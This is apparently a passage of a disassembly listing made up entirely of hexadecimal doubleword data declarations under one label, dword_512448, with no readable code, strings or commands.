		dd 4E3A11B0h, 8D005098h, 309D409Ah, 3FF2C171h, 57006892h
		dd 0C9C4865Dh, 21FC58FFh, 6700A176h, 2F161D90h,	71A66Fh
		dd 20688C84h, 0A0BC3FF4h, 8161DE00h, 9CCCF915h,	6E1F2CAAh
		dd 68F700BAh, 0CEA2EDD5h, 642C5D00h, 0D7497631h, 0E1ECC8h
		dd 971DDD72h, 48C01F47h, 0A2070100h, 0CE844FE0h, 0C55500A1h
		dd 9E88D77h, 49077BAAh,	9481BA3Ah, 0A167EB03h, 4AE0AE6Bh
		dd 88F61E04h, 1CC400FAh, 8210389Bh, 28639901h, 0EEA19053h
		dd 585AC760h, 0A43C9467h, 739112h, 3C8F149h, 6000D282h
		dd 0FF51E67Ah
		dd 1828EFFAh, 48185E7Eh, 1109E450h, 1ADBDh, 0B17FF2A0h
		dd 433200D2h, 0F39F551Fh, 0AE000B8Dh, 0C978F773h, 130C98FEh
		dd 30692122h, 0C6EEF128h, 94409100h, 0C70CD226h, 0DB0A0077h
		dd 7F9075A9h, 0B202EE0Fh, 67415F3h, 0C9FFC05Ah,	7738030Eh
		dd 0FC5FBEDBh, 136C6A05h, 6C809A2Ah, 9897AB0h, 9105DE20h
		dd 0F27CE8A0h, 0DFCC05Fh, 0E7213412h, 0E40CA840h, 16C3B7Dh
		dd 77DD2848h, 0CCABD3ADh, 95783A83h, 1200877Ah,	8B1E7665h
		dd 0B4CBDF0h, 5B13BE75h, 0F20D6A80h, 8D003503h,	0F72F68FBh
		dd 48428B18h, 5C78E7E9h, 0DD00C057h, 20ADD3FFh,	0E30071C0h
		dd 2C8AD862h, 4C749690h, 8003F4B6h, 37C2D42Eh, 5FDF8380h
		dd 2C77BF0Fh, 0B0662118h, 4C70DD20h, 0D7FE6Dh, 9CC0D89Eh
		dd 645EE1FAh, 0BB06E602h, 689558D3h, 1BD13E28h,	113B3134h
		dd 47ED7CD8h, 71009E7Bh, 13BD91B9h, 16E3799h, 8351A8B4h
		dd 0C402FD5Ch, 0AD001FB3h, 0EFD32C2Bh, 168808h,	7C37E072h
		dd 0DD27A01Eh, 927BE090h, 0F732D600h, 5A9AC361h, 2B7B19AEh
		dd 0E4571648h, 0F900CA62h, 0A88ED3CFh, 1D0F4DD1h, 4099F5B9h
		dd 0B437EDF4h, 0FD032D25h, 7A1FF854h, 0EE2CD08Dh, 65F10057h
		dd 0F5B6E026h, 611FF9C0h, 5580D74Dh, 38F48221h,	1F9DC58h
		dd 121D71DFh, 74BC30F6h, 748DBE2h, 44C90090h, 501A63FBh
		dd 864700D4h, 7D3DD27Bh, 17030597h, 8BE1E375h, 0EF8AA065h
		dd 0AB6214D0h, 0EB12DC79h, 7858313Fh, 0CB9C409Ah, 7701A764h
		dd 19213ABFh, 0DA30B108h, 7F4C01BEh, 0DBED80B7h, 0D7D2F9FAh
		dd 4AF49FD0h, 2FA8E200h, 0C174859Dh, 119CFFDCh,	0FA964082h
		dd 625C9975h, 80E1633Bh, 0C435CC6Fh, 1868D64Ah,	9054B0C5h
		dd 0E13B2C18h, 0A6AD80CDh, 175A1B52h, 0F2B3E6FFh, 941A0086h
		dd 573EE115h, 0BD778140h, 0A0AAB800h, 0AE844D29h, 4B14C14h
		dd 0F7A22600h, 0CB43E559h, 10807200h, 2E89690Ah, 3CAD00F1h
		dd 0E75ED365h, 8826094Ch, 0B20E8BC7h, 115D60AAh, 10C3A7Eh
		dd 96BCA347h, 0F461B9E8h, 0CE002610h, 0F1D0FCD7h, 48CFEEFEh
		dd 3C0BCC5Eh, 7830D37Ah, 46006E38h, 221ED739h, 2EF7DE71h
		dd 1EF44488h, 7E154016h, 8B6D7A34h, 0C6B54700h,	0CEFEAD36h
		dd 3C8F2EB1h, 6BC50EF8h, 3FCC276Ah, 0C787C300h,	7B991932h
		dd 25438900h, 0E2383ACCh, 1FE470h, 0F3679C66h, 2C9D2A32h
		dd 3EFE4DE4h, 0DA96F800h, 42AE0A21h, 5B0E2AB0h,	0BE390098h
		dd 983BBB58h, 0BCDE6D79h, 0D21FF482h, 2BD88088h, 0D43C44h
		dd 0AA4AC1E7h, 5C527E79h, 43080h, 94F6A529h, 0D2336DFEh
		dd 0E477C21Eh, 1C002517h, 6899DD0Ch, 2F9F00DFh,	97109DD5h
		dd 5DECC072h, 299CE602h, 607A49D3h, 2ADCB74h, 2872C97Eh
		dd 0D8A12F43h, 0E8452D7Bh, 0CA00D1BBh, 0E2BC4C4Fh, 283BFE14h
		dd 5C06290h, 60943F68h,	52B00022h, 0FBA40886h, 3C9E7100h
		dd 0E7775FD0h, 10F00084h, 839BFFDBh, 4338DC0Eh,	420583E0h
		dd 0B917B849h, 7FF8ACEFh, 6D19033Ah, 715B944h, 40C321F0h
		dd 0FA00F5FEh, 47CC916Ah, 0A84DE7h, 54240DF2h, 68D0167Bh
		dd 0E23E3FFEh, 1DA68137h, 89F6BEB5h, 26BCBFDCh,	801049A1h
		dd 0E0C8BDC4h, 0AD006A15h, 7AEC8865h, 0E567A6h,	0B28164A3h
		dd 2826CC7Bh, 32894E00h, 855C8751h, 8C52132Eh, 0E35C2006h
		dd 0EC1301B3h, 1001F202h, 10EBC464h, 0F07A490Ch, 0E3D45D0Bh
		dd 95C3000Dh, 36BA233h,	0BF1DF3A8h, 80B0BD02h, 0B5302CC1h
		dd 0A1A42048h, 46A4C8Bh, 73139900h, 6719A02Eh, 0DC0341C0h
		dd 0EE9C3DB3h, 6DB203C6h, 0F0EACF8Ah, 0D6ABE000h, 68D28645h
		dd 46798Ch, 0D1E76723h,	9B3AAE60h, 41084806h, 751742Ch
		dd 76A18F4Bh, 0C0A3608Ch, 6F0799E5h, 8B7A04E0h,	84806E44h
		dd 0ABA654Fh, 1560221Bh, 72B02BCh, 0C1809068h, 0C59E59F3h
		dd 58E02D01h, 44B34898h, 3BD66C20h, 0F30BEF73h,	2986277Fh
		dd 4700183Eh, 3DC4128Ch, 30C68DAAh, 0BA598632h,	890AED4Ah
		dd 0E837AC0Fh, 0A63DF100h, 0EEB683C0h, 56930812h, 8C03E691h
		dd 80D06A62h, 73CF535h,	0E21437F0h, 400E30FFh, 537CDA89h
		dd 0C7976B0Eh, 0F86E0A1h, 0C57D48h, 0AC51A380h,	0EA42FE63h
		dd 0A469A604h, 9C00F99Fh, 8E7B833Ch, 2D5F1D02h,	4017FA2Bh
		dd 7409774h, 426C1480h,	0B4D14176h, 43FC5011h, 0B260A89Ch
		dd 9045F928h, 77B51C03h, 0D4DF49h, 9DB7ED17h, 7EB0FB6Bh
		dd 650B2105h, 0AAC0F2EEh, 12BF7DBh, 6A9EC493h, 74EDE98Ah
		dd 81EA288h, 6F4066AEh,	244F2254h, 0BA5D00EBh, 7021F809h
		dd 9B01B8CBh, 0EE3BD5B9h, 0F28320D8h, 7975B0D7h, 847EBAD0h
		dd 86A5F500h, 82418946h, 4C7515h, 0AFA3FA9Bh, 42F92F66h
		dd 55C1F31Ch, 201052C0h, 7C7E0Bh, 699D128Eh, 480516DEh
		dd 79ACDF03h, 8430788Fh, 77AA4A80h, 0DB4F26BAh,	59410072h
		dd 0F994EDE7h, 7BC933Fh, 9F5EBE5Fh, 0BD485460h,	3075FA1Eh
		dd 8D884455h, 0EC9C7324h, 0B6969D38h, 0E8AD3B09h, 13D41128h
		dd 21A0F3h, 0F28FFB88h,	0DA98F55Ah, 2377800h, 0C8354469h
		dd 794C0FD2h, 3201F55h,	34F0B4CDh, 965AC918h, 26482D61h
		dd 429929h, 34A7DD07h, 0DC4F49CBh, 6B50800h, 0C0D0354Fh
		dd 2632E111h, 0ED004118h, 27FCF93h, 0E51A412h, 0E1502DFFh
		dd 8FBF2960h, 62017C3Eh, 52AEFEAFh, 40873AEDh, 202B8CF5h
		dd 48533C5Bh, 0F1120700h, 0A47A14FDh, 91CB00B8h, 1677190Ah
		dd 8A008D4Fh, 2FB4DE0Eh, 63C8D1h, 0BA373CD2h, 0B216B8B5h
		dd 0E0039402h, 0E09077D3h, 72DEA1Ch, 0F0150626h, 7651F068h
		dd 52003B55h, 0B04CBF2Ch, 0EC58E20Fh, 878000Ch,	1F9ED431h
		dd 0D2F97D52h, 6A03040h, 64D648h, 0D4C987C8h, 78B2D80Bh
		dd 0AC400023h, 0D0C26EADh, 330064DFh, 0FB72F5D5h, 2C78D67Bh
		dd 16380446h, 82AE002Ah, 0A130E529h, 0AB5FE203h, 0E82DC83Dh
		dd 74F85A9h, 0C58B0556h, 3341E0FEh, 8300A7BDh, 305EF24Bh
		dd 6F3A40h, 382E8B94h, 5531913Ch, 430067E4h, 0E822CB7Ch
		dd 4C29B4Eh, 4FA247B9h,	74D2C07Fh, 79067CD4h, 17E1E578h
		dd 0C9EC2422h, 0EE8302AEh, 93E077DFh, 4E0003C1h, 2401DC35h
		dd 7546A004h, 0FAD10086h, 0F62AB0C2h, 0A40F9D08h, 87B1F160h
		dd 0D3809165h, 0E39BD72h, 4FDDADFEh, 0FA7D08E0h, 2006373h
		dd 4CA457A8h, 104E78Dh,	29C02706h, 0EA83BC6Bh, 30100757h
		dd 0A6311210h, 1E7C00ADh, 5E65C145h, 0BE00E03Fh, 948C6C0Ch
		dd 1CC893B6h, 404796F6h, 0A4B2AF1Eh, 0B0004E73h, 0A08763B1h
		dd 6A8E37h, 1E34D5B4h, 88071862h, 0FF00CAE2h, 78EAFDB1h
		dd 7111C44h, 79E26C95h,	0BDAD5051h, 0FD0094F8h,	57881F7Dh
		dd 0F73B16h, 0C79B6792h, 5EE7334Eh, 819D7F02h, 0C12E424Bh
		dd 0B0E3A91Ah, 7BCB5B66h, 0F9953FDAh, 0CF633F87h, 0CD4770F3h
		dd 0C4F40E3Eh, 0A5942200h, 9E2F21DFh, 3749BCh, 0D771A781h
		dd 0C0BBF5E2h, 41006698h, 33C2F8F0h, 3A4FB684h,	0AC007F03h
		dd 388B4D80h, 0F67B353Dh, 1C061B1Eh, 9CECD741h,	28805476h
		dd 9ADF5B80h, 3B3D53CDh, 0D119E011h, 2C0EC1h, 9F8563EAh
		dd 195962DEh, 0DA3B82F6h, 41F064B8h, 97AC46C0h,	0F46C00D2h
		dd 36BCEE08h, 3400E006h, 31E3F9A1h, 0E8966ADh, 65208CB4h
		dd 91893DDCh, 9870672Fh, 7A93D000h, 0C4E8887Dh,	23C103CBh
		dd 6130EF54h, 0CF8D51B8h, 0E944A40Fh, 0E10E2F72h, 3C7ECB5h
		dd 3336D4h, 5B5450B8h
		dd 1CC6C916h, 31617E0Fh, 751A60FEh, 9841ACh, 3F63F603h
		dd 0E6201197h, 492E6F00h, 2A158A39h, 0B96100F3h, 0E71D086Ch
		dd 0A33F8453h, 48680097h, 77938FFEh, 723703F2h,	0A78519Bh
		dd 3BC4DAE8h, 0A0BD3A30h, 0FE920584h, 6BAF00F7h, 3D767D20h
		dd 2500984Fh, 0B9C07968h, 8113C2h, 9C4D2BEFh, 3C5A143Eh
		dd 6C898B00h, 0A7E5466Eh, 0FD050087h, 3A59443Dh, 39033B64h
		dd 6F308542h, 9C7090DEh, 88E20049h, 0CF6F87Eh, 71EA2422h
		dd 0BFDC360Bh, 27EA00DEh, 308C34h, 0FF602C4Ch, 8BC7E235h
		dd 2482011Ch, 80DC007Eh, 7679CBE4h, 0F84713Ch, 15CF4267h
		dd 5C11409Fh, 23D14599h, 63001598h, 572C9C12h, 39076929h
		dd 37805238h, 7C09F95Eh, 621E0E6Eh, 199FCD9Dh, 2DDF7B9Fh
		dd 805C934Fh, 0B8DC4076h, 0A59D0096h, 0A63CE92h, 4227C574h
		dd 0EA37E58h, 70E1F091h, 0F9B8AFD2h, 71C8E00Ah,	8E677D03h
		dd 0DB7B91FDh, 1378B850h, 7A1C0022h, 0C7B9E1BEh, 0A300CEEDh
		dd 210BC80Eh, 6E0185h, 0A993E3A5h, 0F93DCDE2h, 0CE561200h
		dd 0DE2D4E64h, 24750458h, 91F7434Fh, 0D43D1A30h, 2507E8E1h
		dd 5794C9FFh, 225E4AA0h, 384216D5h, 93F1396h, 0E980B3C9h
		dd 2A92DD50h, 0E9746701h, 40EF2FF3h, 26F75F30h,	0F2262BBh
		dd 0CEC017A8h, 2E516E80h, 3CD96B01h, 5D645CD7h,	5444ECh
		dd 1A26599Eh, 7A7D65E7h, 6788DA00h, 8EE9315Fh, 0D8840092h
		dd 0A1DE9E63h, 0E1757B43h, 6F293400h, 136C156Eh, 0ECA0709Ch
		dd 0F410171h, 0CF0CF873h, 0F0803099h, 0CCAC8007h, 11C0E832h
		dd 79B7636h, 9DC8EB66h,	463160A8h, 0A300BC47h, 7604EDE4h
		dd 1AB17BAh, 9C2EB3A9h,	0DD897AFDh, 0C6ACC0E7h,	1E288200h
		dd 696D9E57h, 0BBF90777h, 0F00F18EBh, 0D2F0D3E1h, 39EE6300h
		dd 1F6242EAh, 8F84Dh, 0F628336Bh, 0CF81407Fh, 80869100h
		dd 0CAA70E5Eh, 0BDA800E8h, 9AEDA3F5h, 7D006358h, 0FB78097Bh
		dd 24B19D1Ch, 0B48C43h,	0DF8FD6BCh, 0DC000267h,	0E5D0931Eh
		dd 0EF22DB89h, 3EE3D4h,	0DA39C3ABh, 0E18D0C16h,	3C77BE1Eh
		dd 700F1B00h, 0E6DF702h, 44C8B41Eh, 0A2A81900h,	0E1486532h
		dd 0F2C68004h, 607F59h,	6AA99F50h, 13E9A02Ah, 0ADDE9802h
		dd 48407329h, 14880C08h, 0B8B4032Dh, 0E0DC1407h, 42F130F2h
		dd 0B060D3FFh, 23ED8618h, 6F5401E5h, 88A23C80h,	1A4AC461h
		dd 417C4E04h, 0C480D478h, 59DF33h, 7D03C498h, 9F1655F8h
		dd 78EE5B7Ah, 431E6077h, 7300AFB0h, 7FB7B21h, 886B001Eh
		dd 824F8B25h, 4014CA8Fh, 0B1030Ch, 7CE7DC45h, 3C97E599h
		dd 28FF0134h, 26A88EB1h, 5C9559h, 0E556FAA5h, 0D9006E4Fh
		dd 136BCAEAh, 4972D7h, 7FF3867Eh, 0F0294498h, 470358FEh
		dd 9CB01A2Ah, 461000ECh, 0F103FEB2h, 0FA98683Eh, 700D6880h
		dd 6473B9C0h, 0F8E7C22Dh, 3D880081h, 0F1A9C06Fh, 2D98E355h
		dd 3EE23A1Dh, 838C1EBEh, 0BD5B12C0h, 60FC7F3h, 0BE23C9F8h
		dd 0D7A01198h, 0CA00763Dh, 0C0328254h, 92B63h, 1D14F5FAh
		dd 0D8A05513h, 120BAD00h, 0DAC31517h, 0D67A00ECh, 0D29A8FBEh
		dd 7E0093EEh, 22B1FEF7h, 0F00777h, 82C49199h, 15E74383h
		dd 0EA0BB901h, 3A7C4A05h, 0C2DBE4h, 0CE8CD73Fh,	0C3DE8F24h
		dd 2BE62500h, 0F798DC76h, 0AD5B00ABh, 0BC28EE45h, 97004D10h
		dd 0D23F7705h, 157DB39h, 0E4E2CC9Ch, 0C8D33579h, 82338FD0h
		dd 0C8B732A9h, 2C3975B8h, 4A4DB5h, 3570882Dh, 3101BDAEh
		dd 0D121163Dh, 1F7FD3Bh, 0B0576AF0h, 40C9E959h,	0E65A5ECCh
		dd 0BAE37800h, 0DE952D5Ch, 0CF2500A4h, 0B8CE1D3Fh, 1200E067h
		dd 0CD50F2D9h, 3403BDh,	0FF41A72Bh, 9E534277h, 935C79E6h
		dd 1DB80003h, 64A84CABh, 825C00F7h, 3E65A161h, 870109F2h
		dd 903DF9ACh, 0AC7017E6h, 0F4E40341h, 0CB456E9Eh, 3D519F8h
		dd 0EB5CBF17h, 0BA1C8600h, 98E0244Dh, 6D2E0076h, 2F9798FBh
		dd 600687Ch, 0F8354692h, 7E7D54h, 0FDFAEE5Eh, 0BD64404Ch
		dd 368DBC00h, 2E57637Fh, 369FCABh, 0E7569621h, 0D1C0F162h
		dd 3603DBF9h, 0F49F947Ch, 4EABF0A6h, 0D7342C9Eh, 0BA210E15h
		dd 5C93AA85h, 9A343FCh,	33E0BDA5h, 30EE1E70h, 855C8600h
		dd 0FFAB6A28h, 10830040h, 5E4E458Ah, 0A40DCE12h, 4A2CB920h
		dd 2B2F2080h, 22A8FA73h, 0DB079DE6h, 0B71B6FB6h, 0C881E593h
		dd 24099AAAh, 1D742167h, 8B9F80B4h, 98B56E48h, 0DE01407h
		dd 5A4068CCh, 1BB8FBh, 0BE5F6A82h, 654D136Fh, 3C408800h
		dd 71709C2Bh, 377902F0h, 0BD3E286Dh, 830C5AC0h,	925D40Eh
		dd 68E640FEh, 0FA775C8Fh, 0DC2B00FAh, 3FA5D97Ah, 0D10353C4h
		dd 444D7CD4h, 4ACCA065h, 97DE01ADh, 0E356704Bh,	3DEF708Fh
		dd 0C33A4D00h, 164C1566h, 1CE5F012h, 197F5BFh, 0AD7DBD46h
		dd 9175E882h, 0A6390D03h, 0C0B2801Ch, 14EA6315h, 0C8C662C4h
		dd 5EB0F280h, 0AA7C2C3Dh, 2133D104h, 0EA811686h, 0C840BDE0h
		dd 92F7128Dh, 1FAF0038h, 0FEB85181h, 8579D6CDh,	0B15BEC17h
		dd 106D8B00h, 30A43E50h, 0FC442EA9h, 0E800112Dh, 8F2FF4BBh
		dd 0CBCF9Ch, 0B38CC95Dh, 4004A23Dh, 0FAB23F00h,	0A980CDA4h
		dd 7E303F5h, 8F31A892h,	0B9EE9B8h, 7EC9A500h, 13B0785Bh
		dd 0D79100C7h, 44074C66h, 690085E1h, 0E517D9B8h, 70BEF2Bh
		dd 568E911Bh, 5AC36015h, 900143E0h, 86B481CCh, 0DE70F512h
		dd 5DB1004Ah, 0DD95B53Ah, 0E90F7737h, 40AF38AAh, 0B1EEFD29h
		dd 6A8F0006h, 0CA9CF6Fh, 0AA3E2BF2h, 0D8090F5Dh, 9C59CCCCh
		dd 0DD03004Ah, 3CDFE48Ah, 2F002C22h, 0BECCA216h, 713332Eh
		dd 9EF8E266h, 782490C7h, 8CE0616Eh, 23AEA600h, 0E36A5105h
		dd 96920045h, 5C54D63Fh, 7700FBC2h, 71A74D20h, 14D539h
		dd 0B1DAF1Ch, 5A121BDEh, 0D2DB9F12h, 0AA207700h, 0EF0526h
		dd 56AE976Bh, 7DA77B0Bh, 77DE1501h, 28DFED4Bh, 225A630h
		dd 0F6196ED0h, 784089CEh, 4D00A197h, 68C53D40h,	0C07F91h
		dd 0D2D4D9ABh, 35DC1FD3h, 0A5321C00h, 0AF4CEF4Dh, 78178AEh
		dd 3D226E4h, 1A495001h,	2700EA6Bh, 0BACF8CFh, 52D18h, 0C75F1EBDh
		dd 0B592685Ah, 9520400h, 3DEE60F5h, 0F6880E86h,	0AE818419h
		dd 0DC7AB1D3h, 50E2C4B7h, 0F87FD504h, 0B0C02CF5h, 4CC3D1h
		dd 0F4545E96h, 70CE13A0h, 59675F00h, 0D0A5A1BEh, 66AFE89h
		dd 849DFB0Ah, 540E11C4h, 60AA9EC9h, 0F3415DB2h,	4D881D8Fh
		dd 0CC5C9FDAh, 2560CA6Dh, 0AD447E0Fh, 151EA192h, 82D0D2A2h
		dd 7B2F1CA7h, 0AE89F06Fh, 521CFE27h, 0F8A8EAB7h, 8D3D6B98h
		dd 3EFABCCFh, 89A400C7h, 44A3F733h, 5F490ED8h, 478FE8A9h
		dd 4071DC27h, 31CA0EB1h, 21AA0403h, 0C427FC0Ch,	41D2C2C0h
		dd 84880C42h, 4C98020Ah, 0AB4D1E0Eh, 18AD8FCAh,	37AF8888h
		dd 8020FE22h, 78C94263h, 0FB11E260h, 0F0A23Bh, 0EAFF3AB4h
		dd 0CA6F568Ch, 0C9D26500h, 0AA036383h, 7B20A133h, 927086E6h
		dd 21500F8h, 0F82B776Dh, 0BB3FB21Ch, 66418E7Ch,	9A5F40D1h
		dd 0FDCCCBh, 0E75EF860h, 43DE2C3Bh, 84010AF4h, 9CB80371h
		dd 0DB40D439h, 12F2ABh,	81146C82h, 8AEFED8h, 0FBA9A700h
		dd 0E27B619h, 9115044Ch, 0C0A8651Fh, 0C397EC71h, 0EBCCAD09h
		dd 87B300F1h, 3BDAFEh, 1F8F9DD1h, 1D2E23DEh, 0BA62D307h
		dd 6910F8B7h, 325E9D7h,	67B6C90Ah, 1AD09855h, 4500A6AFh
		dd 0CF157343h, 3E36C563h, 0A40EF5D2h, 1858034Dh, 0D515D1C4h
		dd 0E8CFD16h
dword_512448	dd 4769991Ah, 0CAF31263h, 0CE09307Bh, 6981BA21h, 20414C17h
		dd 0CA50E61Bh, 0AEA48CA0h, 60094890h, 3D94C580h, 0BA50A217h
		dd 8A66ACE4h, 211608h, 203D9CD3h, 17BE8849h, 428B500h
		dd 0CD19AE92h, 2913605Eh, 0B84F3625h, 6DBC238h,	0E3747E3Ah
		dd 18C49820h, 29F30482h, 9600B629h, 4DD641D8h, 0CCBE742Ch
		dd 8A21C008h, 0DF969100h, 22FEE1F8h, 5039032Ah,	0AFF2E7AEh
		dd 18CC023h, 0A78B3D98h, 40C3189Ah, 8000EFFEh, 0DD64423Dh
		dd 5B54E0h, 25BB2DBFh, 0CFA04F32h, 6B2EB0C3h, 30809D16h
		dd 0C7D2F8h, 4561D00Bh,	0B0812AEDh, 1BBF5C00h, 0FF7E1757h
		dd 557D0211h, 0FCF4EC5Fh, 852EC40h, 27CD5804h, 64C3D1DFh
		dd 4513C8EFh, 0DEB21E1Ah, 0EA5EB6h, 9E091C65h, 5A0E90D4h
		dd 0E18FFC77h, 0CE085384h, 0EF15CCh, 10B6811Ch,	2DA82E06h
		dd 1351DF38h, 5900F4D8h, 7AA75D9h, 0B7F00008h, 575FF329h
		dd 86003C13h, 4F2C68Ah,	0E968E1h, 2F02F408h, 10B350DFh
		dd 0D701F073h, 0C264958Fh, 0FFEC3A0Ah, 0EC8207A8h, 6F66CC6h
		dd 8750CCACh, 0B3002BB0h, 10FAE907h, 0D13262h, 0FB2E7EB4h
		dd 3818130Bh, 170772B8h, 0E9C345DFh, 7E678293h,	1C7D4428h
		dd 10DA1245h, 7C88997Fh, 693C887Ah, 0FE21FC8Bh,	1040128Bh
		dd 938950D5h, 1562BE08h, 227F44A1h, 47242A35h, 94177821h
		dd 11502829h, 0BB212FB7h, 60B4A238h, 8B08290Ch,	4C006F2Fh
		dd 197CDADDh, 951D8Dh, 7BDBDC71h, 935E7308h, 881C82FEh
		dd 0F0002610h, 87EFF7CBh, 0BB3B3943h, 0D16DE500h, 0C458E1FAh
		dd 0FBD04603h, 0C0E235BFh, 49EAFEh, 8691C5Dh, 19C1733Eh
		dd 63F1601h, 6C458459h,	82C4DCh, 0FAD234Fh, 170492BDh
		dd 8217800h, 444CA8B4h,	0E13E0070h, 1623AB88h, 2500A5ACh
		dd 3102CFC4h, 11DB158h,	0FAD8369Eh, 0C4CA9840h,	5E0060FFh
		dd 9CBAFB01h, 16142DEDh, 304E436h, 4605D1A5h, 0C98EB580h
		dd 5E116F07h, 0C26057A7h, 2439951h, 0DE1EB9FDh,	1840FBCBh
		dd 970D6831h, 61C6D52Ah, 0D96CCCh, 219885DBh, 0E1081BB9h
		dd 830E77E8h, 4035D034h, 878AFA0Eh, 326D01D6h, 0A2FDCEBCh
		dd 0ED4080F7h, 525E9EE1h, 0A5D0391Ch, 88BCAEh, 4A70FE8Fh
		dd 1518A6E6h, 7B8A48Dh,	0D3650027h, 4B7B6FC1h, 1E0F3A49h
		dd 9F4D90h, 0CC984E5Dh,	96CB3A76h, 832C7200h, 0A58864B1h
		dd 4F545B00h, 3886E2DCh, 0B60F0D6h, 0BBD71424h,	8C1254A0h
		dd 0B5000944h, 1176EE8Fh, 41A2F9h, 23853EABh, 43B3EBDBh
		dd 0A901387Ch, 1B9B0589h, 46F87093h, 0D544008Ah, 66A837D6h
		dd 18B06179h, 0A210AE07h, 0AF09A14h, 8DEDCFh, 116921E0h
		dd 0A1FFC151h, 6FF2A998h, 90F2C501h, 2C89C381h,	6BDCB840h
		dd 7FF4004Ch, 40B056A8h, 0F6070559h, 9B5BA771h,	0B403C315h
		dd 0F8956315h, 1FB020AEh, 0C78B7618h, 211FBF3Fh, 8091B42Eh
		dd 41F0C85Ch, 0B8E42Ch,	0C2ACDF79h, 0E8457F98h,	0E0D00D1Eh
		dd 0ED1ADBC0h, 2DAF9Dh,	5F6DE288h, 6CC3EBABh, 2FB8FA00h
		dd 0FD6EF180h, 0C99600A5h, 26012795h, 4101CB8Fh, 0CD282AFEh
		dd 0C0FA5A43h, 227941Dh, 0DE955FA1h, 2448BB50h,	0AA053C9Ch
		dd 60DD1074h, 5C00C2E8h, 0B0E58345h, 3092D028h,	0E2E40B00h
		dd 607C97FEh, 0EA320166h, 0E1F0A0B9h, 0C4B3FDE3h, 4C004AA7h
		dd 0DD211878h, 4E14DFh,	29D60E60h, 7A1A2849h, 0C9831E00h
		dd 0A4E3517Bh, 0F2620040h, 14ABBE3Fh, 573EFBF3h, 0BCB2804Ch
		dd 9D48504Ah, 0DA1A0F91h, 0A6606B28h, 12C2560Ah, 0F79FE507h
		dd 2C40A371h, 5FB366h, 0D3D77DB4h, 0CF835090h, 7AB0D0C0h
		dd 5C9AA4h, 1D69BAAEh, 3341B19Bh, 0ABC00500h, 0CA898C43h
		dd 974400A5h, 0E3F47EBFh, 0DF787122h, 7648B100h, 30823BD2h
		dd 89F80194h, 5EF3CB18h, 0E7786025h, 0D6F56E0Eh, 0DA3B4332h
		dd 8FA0DF1Eh, 5AAFBDh, 0A15C2C4Fh, 3BBC450h, 6CD61C00h
		dd 4A33EAB9h, 0F1DB0051h, 0EB914483h, 3F001738h, 29F86EFDh
		dd 393C25A7h, 48CC53B9h, 6630B800h, 976DCF36h, 0FB997000h
		dd 0DE57FC47h, 9A6000Ch, 541968ABh, 0F4003CD1h,	8102844Dh
		dd 523018h, 87D7EF03h, 2EAA64A2h, 8054EB39h, 0BA763CC8h
		dd 945F7F1h, 0CF96CA57h, 2BC19103h, 0E7D0139Bh,	140051ADh
		dd 3D5FF183h, 3C5E75ABh, 0ED04771Dh, 0C07EE326h, 0E0669227h
		dd 1FD6B3Fh, 8CF798D2h,	0A1F0B86Fh, 7A5EECAh, 0A309C541h
		dd 0E668540h, 4E81D080h, 0F4F989EAh, 1F00F56Fh,	0C73FA77Bh
		dd 35B2C9h, 0F33236FAh,	52DA53Eh, 70EABC0Fh, 2181C0D7h
		dd 4F8AA03h, 7E77D27Ah,	0F696812Ch, 2D8F40C6h, 6100B34Bh
		dd 94A1B84Eh, 0B65C26h,	0BF96E868h, 2EBD1D8Bh, 8C3D4601h
		dd 0ED870231h, 930EA60h, 6E13DB9Eh, 0A01B05h, 9D0BAAA0h
		dd 2A7A8631h, 12C5D905h, 808022ADh, 0E660Dh, 0F8FF14AEh
		dd 3C07CB79h, 5FD4AF01h, 4A7828C1h, 0A5B4D8h, 6D0090Fh
		dd 0A090B79Fh, 8F0E4312h, 0CAF93C0Ah, 9597B501h, 0F02EFC94h
		dd 53E3E85h, 0F64B0072h, 0A75AEB56h, 11CF1D2Ah,	63B7809Ch
		dd 0BA1DBDBEh, 0A891DF00h, 53CD61B6h, 0D8350340h, 0B7839B49h
		dd 868DC288h, 2DBA807h,	1EA009C9h, 3126F5Dh, 19ED3F92h
		dd 1AB8A122h, 470E3013h, 0A0A2DD4Bh, 65E897B2h,	70980510h
		dd 0F77794h, 9FFF31C4h,	0A006DC3h, 355DAED8h, 1790D65h
		dd 25C406C8h, 0F4853F07h, 8A00F758h, 1F916818h,	0AF749Dh
		dd 1CA8A08Dh, 0E423B626h, 5B0F4B72h, 8CE6CFh, 37E182D8h
		dd 0BDE506FDh, 5142FB28h, 35B15007h, 0F560C3D5h, 15FD939h
		dd 4F03D120h, 0F064FEDFh, 63005B05h, 0B00D6ABBh, 0B29634h
		dd 0FBDE243Bh, 4893AA7Bh, 8D5F2900h, 0D0185BF0h, 0F9D6008Bh
		dd 7B77E5F5h, 6E059D1Bh, 0DC72F4AAh, 0A1D9CC0Eh, 59780A0Ch
		dd 49DF520h, 6AB44A38h,	5A2C9056h, 0DE00BA50h, 0A306228Bh
		dd 0EEEE79F9h, 520007Ah, 0E844F6A0h, 7B005889h,	6D113D7Fh
		dd 131E5D6h, 37AA953Eh,	7BFC389Fh, 3C50DF0h, 2BDFEA2Ah
		dd 6E88ABE9h, 6D0CE002h, 20BACC0Ch, 37E20730h, 8131B693h
		dd 0C8156011h, 0DC3E3A1Ch, 98362AD1h, 773B3Ch, 0C21A81B0h
		dd 15E4CA2h, 5FFBDF5Dh,	308E3AC0h, 2000F2B6h, 0E4256BEBh
		dd 79A921h, 0CC34DB62h,	3EF973DAh, 52A04524h, 8A808400h
		dd 0E2F122h, 8CCA0E6Fh,	48082041h, 2E785A00h, 175D4A1Fh
		dd 0AAA40035h, 42458A14h, 7903FE10h, 2A9CE6D0h,	86B3F8B7h
		dd 0EECD7855h, 78AA00BBh, 0EC7642A6h, 7F0089C2h, 0D90B8BE8h
		dd 0FC4D6BFh, 0E6E991F1h, 2487A258h, 4D3C5F1Eh,	0BFEF001h
		dd 0A88070B9h, 0CED501CBh, 6700B5C1h, 35143A28h, 704426FCh
		dd 769C9059h, 0B8665407h, 0B0683BAAh, 0C11AFB1Dh, 0D1A99284h
		dd 7CA820CAh, 1B2344Ch,	1476D84Eh, 20D558ABh, 384C1ED0h
		dd 4080EC62h, 9179D32Fh, 9E00A855h, 0EE74C6CCh,	7EAAA054h
		dd 0AD093F57h, 680BA4h,	0BB1A6336h, 0A80139ECh,	6CD80607h
		dd 21818411h, 4522BF23h, 8711803Eh, 9EDCD13Ch, 977A0064h
		dd 90E952FCh, 48000FB0h, 7B31F732h, 871455h, 0A54C5EA4h
		dd 28F32368h, 12AD1D12h, 52796040h, 0E9865ECh, 0BDCF4739h
		dd 0A93ABA0h, 0C7131836h, 7900BAB4h, 0A6812AFDh, 59190043h
